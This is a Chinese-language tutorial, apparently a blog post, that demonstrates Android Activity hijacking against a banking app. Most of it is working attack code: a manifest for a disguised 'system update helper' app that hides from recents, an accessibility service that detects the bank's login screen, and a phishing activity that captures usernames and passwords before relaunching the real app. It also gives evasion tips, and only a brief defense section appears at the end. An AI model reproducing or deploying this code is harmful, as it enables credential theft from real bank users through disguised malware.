Activity劫持实战演示:恶意应用的伪装与启动
Activity劫持,说白了就是恶意应用偷偷把你的合法界面换成它的钓鱼界面。我最早接触这个漏洞是在一次金融App的渗透测试中——明明用户输入了正确的密码,后台却显示登录失败。查了半天才发现,中间有个恶意Activity把输入框给替换了。
嗯,今天我们就来亲手搭建一个完整的劫持demo。你跟着我走一遍,就能明白攻击者到底是怎么操作的。
攻击者的核心思路
攻击流程其实就三步:
- 监听系统前台Activity——通过无障碍服务或轮询获取当前运行的包名
- 判断目标App出现——比如检测到com.example.bank.MainActivity
- 立即启动自己的钓鱼Activity——覆盖在目标之上,且设置FLAG_ACTIVITY_NEW_TASK
你想想看,用户看到的是和银行一模一样的登录界面,输入账号密码后,恶意App先偷偷存一份,再把真正的界面调出来。用户以为自己输错了,再输一次——嗯,两次密码都到手了。
关键点:恶意Activity必须设置android:taskAffinity和android:launchMode="singleTask",这样才能保证它独立成栈,不会被目标App的栈结构干扰。
恶意应用的Manifest配置
先看AndroidManifest.xml。我个人习惯把劫持相关的Activity单独放在一个包下,方便管理。
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.attacker.phish">
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<application
android:allowBackup="false"
android:icon="@mipmap/ic_launcher"
android:label="系统更新助手"
android:theme="@style/Theme.Transparent">
<!-- 劫持用的钓鱼Activity -->
<activity
android:name=".PhishingActivity"
android:excludeFromRecents="true"
android:launchMode="singleTask"
android:taskAffinity="com.attacker.phish"
android:noHistory="true"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!-- 后台监控服务 -->
<service
android:name=".MonitorService"
android:exported="false"
android:foregroundServiceType="dataSync" />
</application>
</manifest>
这里有几个坑,我当年踩过:
excludeFromRecents="true"——用户按最近任务键看不到这个Activity,降低被发现的风险noHistory="true"——用户按返回键直接回到桌面,不会暴露钓鱼界面taskAffinity必须和默认包名不同——否则会被目标App的栈吞掉
注意:从Android 10开始,后台启动Activity受到严格限制。攻击者通常需要先申请SYSTEM_ALERT_WINDOW权限,或者利用前台服务来绕过。我曾经在Android 12上测试过,单纯的后台Service已经无法直接startActivity了。
监控服务的实现逻辑
监控服务是整个攻击的“眼睛”。它需要实时知道当前哪个App在前台。我一般用两种方式:
| 方式 | 原理 | 优缺点 |
|---|---|---|
| UsageStatsManager | 查询最近使用的App包名 | 需要权限,有延迟(约1秒) |
| 无障碍服务 | 监听窗口变化,实时性高 | 需要用户手动开启无障碍权限 |
| 轮询/proc文件 | 读取/proc/self/status或top命令 | 不需要权限,但Android 11+受限 |
我个人推荐无障碍服务方案,虽然需要用户授权,但实时性最好。下面是核心代码:
public class MonitorService extends AccessibilityService {
private static final String TARGET_PACKAGE = "com.example.bank";
private static final String TARGET_ACTIVITY = "com.example.bank.ui.LoginActivity";
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
if (event.getEventType() != AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
return;
}
String packageName = event.getPackageName() != null ?
event.getPackageName().toString() : "";
String className = event.getClassName() != null ?
event.getClassName().toString() : "";
// 检测目标Activity是否出现
if (TARGET_PACKAGE.equals(packageName) &&
TARGET_ACTIVITY.equals(className)) {
launchPhishingActivity();
}
}
private void launchPhishingActivity() {
Intent intent = new Intent(this, PhishingActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
startActivity(intent);
}
@Override
public void onInterrupt() {
// 服务被中断时的处理
}
}
为什么会用FLAG_ACTIVITY_CLEAR_TOP?嗯,这是为了防止多次触发时重复创建钓鱼界面。如果钓鱼Activity已经在栈顶,就复用现有的实例。
钓鱼Activity的伪装技巧
钓鱼Activity的布局要做得和原版一模一样。我见过最狠的做法是直接动态加载目标App的布局文件——当然这需要目标App的resources.arsc被提前解析。
简单点的做法是截图后照着画。核心代码如下:
public class PhishingActivity extends AppCompatActivity {
private EditText etUsername, etPassword;
private Button btnLogin;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_phishing);
// 伪装成系统窗口,去掉标题栏
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
getSupportActionBar().hide();
etUsername = findViewById(R.id.et_username);
etPassword = findViewById(R.id.et_password);
btnLogin = findViewById(R.id.btn_login);
btnLogin.setOnClickListener(v -> {
String username = etUsername.getText().toString();
String password = etPassword.getText().toString();
// 保存窃取的数据
saveCredentials(username, password);
// 把真正的目标App调出来,让用户以为刚才输错了
launchRealActivity();
finish();
});
}
private void saveCredentials(String username, String password) {
// 写入本地文件或发送到远程服务器
SharedPreferences prefs = getSharedPreferences("stolen", MODE_PRIVATE);
prefs.edit()
.putString("username", username)
.putString("password", password)
.apply();
}
private void launchRealActivity() {
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"com.example.bank",
"com.example.bank.ui.LoginActivity"));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
}
}
避坑指南:我曾经在测试时发现,如果直接finish()钓鱼Activity,用户会看到一瞬间的黑屏。后来我加了一个延迟——先启动目标Activity,再延迟100ms关闭自己,这样视觉上就无缝衔接了。
攻击流程全景图
下面这张图展示了整个攻击的时序关系。我特意把关键节点标红了,你一看就明白。
如何检测这种攻击?
作为防御方,我们可以在自己的App里做几件事:
- 检测顶层Activity的包名——通过
ActivityManager.getRunningTasks()(已废弃但可用)或UsageStatsManager判断当前前台是否还是自己 - 使用FLAG_SECURE——在关键Activity的onCreate中设置
getWindow().setFlags(FLAG_SECURE, FLAG_SECURE),这样恶意App无法截屏或录屏 - 校验调用来源——在onNewIntent中检查intent的包名,拒绝非自身签名的调用
我个人的建议:不要完全依赖代码层面的防护。最有效的方式是结合服务端校验——每次登录时生成一个动态token,由客户端在界面渲染前向服务端请求,如果token被劫持,服务端能立刻感知到异常。
好了,Activity劫持的完整攻击流程就是这样。你可以在模拟器上跑一遍这个demo,看看恶意App是怎么悄无声息地替换掉目标界面的。下一节我们会深入探讨Provider数据泄露的利用方式,那个场景更隐蔽,也更容易被忽视。
公众号:蓝海资料掘金营,微信deep3321